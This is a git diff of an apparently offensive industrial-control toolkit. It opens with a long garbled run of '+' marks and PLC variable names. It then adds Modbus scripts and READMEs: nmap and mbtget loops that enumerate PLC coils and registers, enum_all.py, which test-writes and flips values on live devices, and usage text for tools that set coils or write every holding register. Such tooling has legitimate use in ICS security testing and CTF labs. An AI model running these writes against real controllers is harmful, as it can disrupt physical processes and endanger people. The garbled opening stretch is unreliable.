+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 